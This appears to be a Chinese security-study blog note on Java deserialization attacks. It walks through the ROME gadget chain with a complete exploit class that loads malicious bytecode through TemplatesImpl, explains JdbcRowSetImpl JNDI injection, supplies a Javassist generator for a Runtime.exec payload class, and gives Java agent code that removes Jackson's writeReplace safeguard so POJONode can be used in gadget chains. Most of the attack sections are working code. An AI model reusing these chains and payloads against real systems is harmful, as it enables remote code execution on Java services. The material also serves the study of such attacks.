那我们怎么调用HotSwappableTargetSource的equals方法呢?在HashMap中找到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 final V putVal (int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0 ) n = (tab = resize()).length; if ((p = tab[i = (n - 1 ) & hash]) == null ) tab[i] = newNode(hash, key, value, null ); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k)))) e = p; else if (p instanceof TreeNode) e = ((TreeNode<K,V>)p).putTreeVal(this , tab, hash, key, value); else { for (int binCount = 0 ; ; ++binCount) { if ((e = p.next) == null ) { p.next = newNode(hash, key, value, null ); if (binCount >= TREEIFY_THRESHOLD - 1 ) treeifyBin(tab, hash); break ; } if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) break ; p = e; } } if (e != null ) { V oldValue = e.value; if (!onlyIfAbsent || oldValue == null ) e.value = value; afterNodeAccess(e); return oldValue; } } ++modCount; if (++size > threshold) resize(); afterNodeInsertion(evict); return null ; }
HashMap的putVal方法
那么整个链子就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HashMap.readObject () ↓ HashMap.put () ↓ HashMap.putVal () ↓ HotSwappableTargetSource.equals () ↓ XString.equals () ↓ ToStringBean.toString () ↓ TemplatesImpl.getOutputProperties () ↓ 触发 defineTransletClasses () → 加载恶意字节码 → RCE
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package ROME;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import org.springframework.aop.target.HotSwappableTargetSource;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;public class ROME { private static void setValue (Object object, String fieldName, Object value) throws Exception{ Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class" )); setValue(templates, "_name" , "ROME" ); setValue(templates, "_bytecodes" , new byte [][]{bytecodes}); setValue(templates,"_tfactory" , new TransformerFactoryImpl ()); ToStringBean toStringBean = new ToStringBean (Templates.class, new ConstantTransformer (1 )); HotSwappableTargetSource h1 = new HotSwappableTargetSource (toStringBean); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString ("xxx" )); HashMap hash = new HashMap (); hash.put(h1, "h1" ); hash.put(h2, "h2" ); setValue(toStringBean, "_obj" , templates); serialize(hash); unserialize("ser.bin" ); } }
JdbcRowSetImpl 前面的ToStringBean
中导致恶意类加载的原因就是因为它的toString
方法可以进行任意的类的Getter
调用,从而触发TemplatesImpl
的getter
方法getOutputProperties
任意类加载。而在JdbcRowSetImpl
中getter
方法getDatabaseMetaData
会触发JNDI注入。
看代码:
1 2 3 4 public DatabaseMetaData getDatabaseMetaData () throws SQLException { Connection var1 = this .connect(); return var1.getMetaData(); }
跟进connect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
在connect
中就会触发InitialContext
的lookup
,而dataSource
是可控的,因此就可以通过RMI或者LDAP协议加载远程恶意类。
当然这个方法有一定的限制,那就是trustURLCodebase
,目前有效的版本只有:
RMI:JDK 6u132
、JDK 7u122
、JDK 8u113
之前
LDAP:JDK 7u201
、8u191
、6u211
、JDK 11.0.1
之前
这个我暂时先搁置一下😅RMI、LDAP后面再说。
Javassist Javassist是什么 Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
依赖 1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
Javassist 使用速查表
功能
方法/类
示例代码
说明
获取 ClassPool
ClassPool.getDefault()
ClassPool pool = ClassPool.getDefault();
获取默认的类池,用于加载和创建类。
加载已有类
pool.get("类全名")
CtClass ct = pool.get("java.lang.String");
从类池中获取已有类的 CtClass 对象。
创建新类
pool.makeClass("类名")
CtClass ct = pool.makeClass("Evil");
动态生成一个新类。
设置父类 (继承某个类)
ct.setSuperclass(superCt)
ct.setSuperclass(pool.get("java.util.ArrayList"));
让当前类继承某个父类。
创建接口
ct.setInterfaces(new CtClass[]{iface})
ct.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")});
为动态类添加接口。
添加构造方法
CtConstructor
CtConstructor cons = new CtConstructor(new CtClass[]{}, ct); cons.setBody("{System.out.println(\"Hi\");}"); ct.addConstructor(cons);
创建一个构造函数并添加到类中。
创建默认构造方法
CtNewConstructor.defaultConstructor(ct)
ct.addConstructor(CtNewConstructor.defaultConstructor(ct));
快速创建无参构造函数。
添加方法
CtMethod
CtMethod m = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{}, ct); m.setBody("{System.out.println(\"Hello\");}"); ct.addMethod(m);
创建并添加一个新方法。
修改已有方法
getDeclaredMethod("方法名")
CtMethod m = ct.getDeclaredMethod("toString"); m.setBody("{return \"hacked\";}");
获取并修改类中的现有方法实现。
添加字段
CtField
CtField f = new CtField(CtClass.intType, "age", ct); ct.addField(f, "0");
给类增加一个字段,并设置初始值。
静态代码块(类初始化)
makeClassInitializer()
CtConstructor cinit = ct.makeClassInitializer(); cinit.setBody("{ System.out.println(\"Class Loaded!\"); }");
动态添加 `` 静态块。
生成字节码
ct.toBytecode()
byte[] bytes = ct.toBytecode();
将 CtClass 转换为字节数组,用于 TemplatesImpl 等场景。
写入 .class 文件
ct.writeFile("路径")
ct.writeFile("/tmp");
将动态生成的类写到磁盘。
加载类到 JVM
ct.toClass()
Class clazz = ct.toClass();
直接将动态类加载到 JVM 中并返回 Class 对象。
冻结类
ct.freeze()
ct.freeze();
将 CtClass 冻结为不可修改状态。
解冻类
ct.defrost()
ct.defrost();
解冻 CtClass,以便重新修改。
常见 setBody()
写法表
类型
写法
示例
说明
打印语句
"{ System.out.println(\"text\"); }"
method.setBody("{ System.out.println(\"Hello\"); }");
打印 Hello
返回值
"{ return 123; }"
method.setBody("{ return 42; }");
返回 int 值
返回字符串
"{ return \"abc\"; }"
method.setBody("{ return \"abc\"; }");
返回 String
调用 Runtime 执行命令
"{ Runtime.getRuntime().exec(\"calc\"); }"
constructor.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");
用于 RCE payload
使用参数
"{ System.out.println($1); }"
method.setBody("{ System.out.println($1); }");
打印第一个参数
修改参数
"{ $1 = \"newVal\"; }"
method.setBody("{ $1 = \"test\"; System.out.println($1); }");
改写第一个参数
调用其他方法
"{ helper($1); }"
method.setBody("{ helper($1); }");
调用类中其他方法
组合参数
"{ System.out.println($1 + \" \" + $2); }"
method.setBody("{ System.out.println($1 + \" \" + $2); }");
拼接输出
返回 Object
"{ return new Integer(100); }"
method.setBody("{ return Integer.valueOf(100); }");
返回包装类型
多行代码
"{ int x=1; int y=2; return x+y; }"
method.setBody("{ int a=5; int b=10; return a+b; }");
逻辑块
使用 try-catch
"{ try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e) { e.printStackTrace(); } }"
-
支持异常处理
返回 $args
"{ return $args; }"
method.setBody("{ return $args; }");
返回 Object[] 参数
Javassist $
变量替换速查表
变量
含义
示例写法
示例代码解释
$0
当前对象 this
$0.name = "Tom";
等价于 this.name = "Tom";
$1
第一个参数
$0.name = $1;
等价于 this.name = 参数1;
$2
第二个参数
$0.age = $2;
等价于 this.age = 参数2;
$$
所有参数列表
System.out.println($$);
等价于 System.out.println(arg1, arg2, ...)
$args
Object[]
类型的所有参数数组
Object[] arr = $args;
得到所有参数的数组
$_
返回值(只能用于 insertAfter
或 setBody
)
$_ = $_ + 1;
将返回值加 1
$cflow(X)
X
标签的控制流计数器(高级用法)
if ($cflow(mylabel) > 0) ...
判断某段代码块执行次数
$r
表示强制类型转换为方法的返回类型
return ($r) $1;
将参数1强制转为返回类型
$w
将基本类型转换为包装类(wrapper)
Object o = ($w) $1;
将基本类型参数包装为 Integer
, Double
等
1 2 3 4 5 6 7 8 9 10 11 12 public static byte [] poc() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}" ); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; }
JavaAgent与POJONode JavaAgent是什么? javaagent
是 Java 提供的一种机制,用于在 目标 JVM 启动时(premain) 或 运行中(agentmain) 对类进行动态修改(Instrumentation)。 它常用于:
AOP (面向切面编程)
监控/性能分析 (如 Arthas、SkyWalking、BTrace)
安全测试与字节码注入
热更新或方法拦截
Java Agent 依赖于 Instrumentation API 和 字节码操作框架(如 Javassist、ASM、ByteBuddy) 。
在JDK1.5之前,JVM规范定义了JVMPI(Java Virtual Machine Profiler Interface )语义,JVMPI提供了一批JVM分析接口。在 jdk 1.5
之后引入了 java.lang.instrument
包,该包提供了检测 java
程序的 Api
,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument
实现的工具我们称之为 Java Agent
。
当JVM在加载.class
类文件的时候会触发ClassFileLoadHook
回调JNI
执行sun.instrument.InstrumnetationImpl#trtansform
方法,如果我们自己实现了ClassFileTransformer
的transform
方法,则会用transform
方法返回的字节码内容替换掉原来读取到的.class
文件的字节码。
参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:
这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
Premain-Class 指定的那个类必须实现 premain() 方法。
premain类:当JVM启动时,在执行 main 函数之前,JVM 会先运行-javaagent
所指定 jar 包内 Premain-Class 这个类的 premain 方法 。
使用 javaagent 需要几个步骤:
定义一个 MANIFEST.MF 文件,必须包含 Premain-Class 选项,通常也会加入Can-Redefine-Classes 和 Can-Retransform-Classes 选项。
创建一个Premain-Class 指定的类,类中包含 premain 方法,方法逻辑由用户自己确定。
将 premain 的类和 MANIFEST.MF 文件打成 jar 包。
使用参数 -javaagent: jar包路径 启动要代理的方法。
JVM会执行premain方法,大部分加载会通过这个方法,除了一些系统类先于agent执行,用户类的加载肯定是会被拦截的。拦截类然后结合javassist来修改字节码
有两种模式:
(1) premain 模式
在目标应用启动时,通过 JVM 参数 -javaagent:xxx.jar
指定 agent。
在 main()
方法执行前,会自动执行 agent
中的 premain()
方法。
(2) agentmain 模式
在应用运行过程中,动态加载 agent。
通常通过 Attach API
(如 VirtualMachine.attach()
)注入。
在注入后,agentmain()
会被调用。
Java Agent 的入口类必须包含以下方法之一:
1 2 3 4 5 6 7 8 public static void premain (String agentArgs, Instrumentation inst) ;public static void premain (String agentArgs) ;public static void agentmain (String agentArgs, Instrumentation inst) ;
参数说明:
agentArgs
:运行 -javaagent:xxx.jar=参数
时传入的字符串参数。
Instrumentation inst
:字节码修改的核心接口,可用来拦截类加载。
JavaAgent 是 Java 的 字节码插桩机制 ,可以在 类加载时 或 运行时(重定义类) 动态修改类的字节码。 其核心是 Instrumentation
接口,允许你注册一个 ClassFileTransformer
来拦截类的加载过程,并可以对其字节码做修改。
类加载拦截流程 :
JVM 启动时,指定 -javaagent:myagent.jar
。
JVM 在加载应用类之前,会先加载 Agent。
Agent 调用 premain(String args, Instrumentation inst)
。
我们在 inst.addTransformer()
注册一个 ClassFileTransformer
。
当某个类第一次加载时,JVM 会把原始字节码(byte[]
)交给 transform()
方法。
在 transform()
里,我们可以用 Javassist 等工具修改字节码,然后返回修改后的 byte[]
。
transform
的方法参数
transform()
必须在类加载前触发 ,因为类一旦加载,修改会比较麻烦(需要 retransformClasses()
或者 Unsafe 技术)。因此我们用 -javaagent
是为了在 应用主类加载前 把 Agent 挂上。
那整体的步骤就是:
Agent类 1 2 3 4 5 6 7 8 9 10 import java.lang.instrument.Instrumentation;public class MyAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println("[MyAgent] premain called with args: " + agentArgs); inst.addTransformer(new MyTransformer ()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,ProtectionDomain protectionDomain, byte [] classfileBuffer) { System.out.println("[MyTransformer] Transforming: " + className); return classfileBuffer; } }
通过Attach动态加载 agebtmain代码 如果目标 JVM 已经在运行,可以通过 Attach API 动态加载 agent:
1 2 3 4 public static void agentmain (String agentArgs, Instrumentation inst) { System.out.println("[MyAgent] agentmain called with args: " + agentArgs); inst.addTransformer(new MyTransformer (), true ); }
Attach代码 1 2 3 4 5 6 7 8 9 10 import com.sun.tools.attach.VirtualMachine;public class Attacher { public static void main (String[] args) throws Exception { VirtualMachine vm = VirtualMachine.attach("12345" ); vm.loadAgent("myagent.jar" , "DynamicLoad" ); vm.detach(); } }
结合Javassist修改 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { if (className.equals("target/HelloWorld" )) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass(new ByteArrayInputStream (classfileBuffer)); CtMethod method = ctClass.getDeclaredMethod("sayHello" ); method.insertBefore("{ System.out.println(\"[Agent Injected]\"); }" ); return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return classfileBuffer; } }
注意
Instrumentation API 不能修改已经加载的 JDK 核心类(除非使用 bootstrapClassLoader 或 redefineClasses)。
addTransformer
默认只拦截 新加载的类 ,如果需要重新定义,必须使用:
1 2 inst.addTransformer(transformer, true ); inst.retransformClasses(targetClass);
-javaagent
的 jar 必须包含 Premain-Class
指定的入口。
Javassist 删除方法的核心语法
删除方法
1 2 CtMethod m = ctClass.getDeclaredMethod("asText" ); ctClass.removeMethod(m);
替换方法
1 2 CtMethod m = ctClass.getDeclaredMethod("asText" ); m.setBody("{ return \"evil\"; }" );
在jackson反序列化中的POJONode中就会用到 当我们调用 ObjectOutputStream.writeObject(obj)
时,JVM 会先检查:
是否实现了 writeReplace()
(优先调用该方法返回新对象替代原对象)。
然后再检查 writeObject()
等序列化方法。
在 Jackson 的 BaseJsonNode
中 ,writeReplace()
被设计为防御手段,如果我们试图序列化 POJONode
,会触发:
1 2 3 protected Object writeReplace () { throw new NotSerializableException ("POJONode is not meant for direct serialization" ); }
这样直接阻断序列化。
利用链中需要绕过它 : 因为 POJONode
的 toString()
或 getValueAsText()
可以触发任意 getter 调用,如果能序列化它,我们就能构建 gadget 链。 **所以必须用 Javassist + JavaAgent 动态移除 writeReplace()
**,这样 POJONode
才能像普通对象一样被序列化。
MyAgent 1 2 3 4 5 6 7 8 9 10 11 package agent;import java.lang.instrument.Instrumentation;public class MyAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println("[Agent] Starting agent with args: " + agentArgs); inst.addTransformer(new MyTransformer (), true ); } }
修改或者删除字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package agent;import javassist.*;import javassist.loader.LoaderClassPath;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { if (className == null ) return null ; String cname = className.replace("/" , "." ); try { ClassPool pool = ClassPool.getDefault(); if (loader != null ) { pool.insertClassPath(new LoaderClassPath (loader)); } if (cname.equals("com.fasterxml.jackson.databind.node.BaseJsonNode" )) { System.out.println("[Agent] Found BaseJsonNode, removing writeReplace()..." ); CtClass ctClass = pool.makeClass(new ByteArrayInputStream (classfileBuffer)); try { CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); System.out.println("[Agent] writeReplace() removed!" ); } catch (NotFoundException e) { System.out.println("[Agent] No writeReplace() found." ); } return ctClass.toBytecode(); } if (cname.equals("com.fasterxml.jackson.databind.node.POJONode" )) { System.out.println("[Agent] Found POJONode, patching toString()..." ); CtClass ctClass = pool.makeClass(new ByteArrayInputStream (classfileBuffer)); try { CtMethod toStringMethod = ctClass.getDeclaredMethod("toString" ); toStringMethod.setBody("{ return \"[POJONode patched by Agent]\"; }" ); System.out.println("[Agent] toString() modified." ); } catch (NotFoundException e) { System.out.println("[Agent] No toString() found." ); } return ctClass.toBytecode(); } } catch (Exception e) { e.printStackTrace(); } return null ; } }
MANIFEST.MF 1 2 Manifest-Version: 1.0 Premain-Class: agent.MyAgent
打包时可以用:
1 jar cmf MANIFEST.MF agent.jar -C out/production/JavaAgentDemo .
使用 -javaagent
参数启动你的目标程序:
1 java -javaagent:agent.jar -jar target-app.jar
这样在目标应用启动时,BaseJsonNode
和 POJONode
会自动被修改。
动态修改 1. Agent 代码(MyAgent.java
) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package agent;import javassist.*;import java.lang.instrument.*;import java.security.ProtectionDomain;public class MyAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println("[Agent] Started via premain" ); inst.addTransformer(new MyTransformer (), true ); } public static void agentmain (String agentArgs, Instrumentation inst) { System.out.println("[Agent] Attached dynamically" ); inst.addTransformer(new MyTransformer (), true ); try { for (Class<?> clazz : inst.getAllLoadedClasses()) { if ("com.fasterxml.jackson.databind.node.BaseJsonNode" .equals(clazz.getName()) || "com.fasterxml.jackson.databind.node.POJONode" .equals(clazz.getName())) { System.out.println("[Agent] Retransforming class: " + clazz.getName()); if (inst.isModifiableClass(clazz)) { inst.retransformClasses(clazz); } else { System.out.println("[Agent] Class not modifiable: " + clazz.getName()); } } } } catch (Exception e) { e.printStackTrace(); } } static class MyTransformer implements ClassFileTransformer { @Override public byte [] transform(Module module , ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { String dotClassName = className.replace('/' , '.' ); if ("com.fasterxml.jackson.databind.node.BaseJsonNode" .equals(dotClassName)) { System.out.println("[Agent] Transforming " + dotClassName); try { ClassPool pool = ClassPool.getDefault(); if (loader != null ) { pool.insertClassPath(new LoaderClassPath (loader)); } CtClass ctClass = pool.get(dotClassName); CtMethod writeReplaceMethod = null ; try { writeReplaceMethod = ctClass.getDeclaredMethod("writeReplace" ); } catch (NotFoundException e) { System.out.println("[Agent] writeReplace method not found, skipping deletion" ); } if (writeReplaceMethod != null ) { ctClass.removeMethod(writeReplaceMethod); System.out.println("[Agent] Removed writeReplace method" ); } byte [] byteCode = ctClass.toBytecode(); ctClass.detach(); return byteCode; } catch (Exception e) { e.printStackTrace(); } } return null ; } } }
2. 动态 Attach 加载器代码(AttachAgent.java
) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.VirtualMachine;public class AttachAgent { public static void main (String[] args) throws Exception { if (args.length != 2 ) { System.out.println("Usage: java AttachAgent <PID> <path_to_agent_jar>" ); System.exit(1 ); } String targetPid = args[0 ]; String agentPath = args[1 ]; System.out.println("Attaching to target JVM with PID: " + targetPid); VirtualMachine vm = VirtualMachine.attach(targetPid); vm.loadAgent(agentPath); vm.detach(); System.out.println("Agent attached successfully." ); } }
3. 编译与打包步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 javac -cp javassist.jar -d out agent/MyAgent.java javac -cp $JAVA_HOME /lib/tools.jar -d out AttachAgent.javacd out jar cvfm agent.jar ../MANIFEST.MF agent/MyAgent.class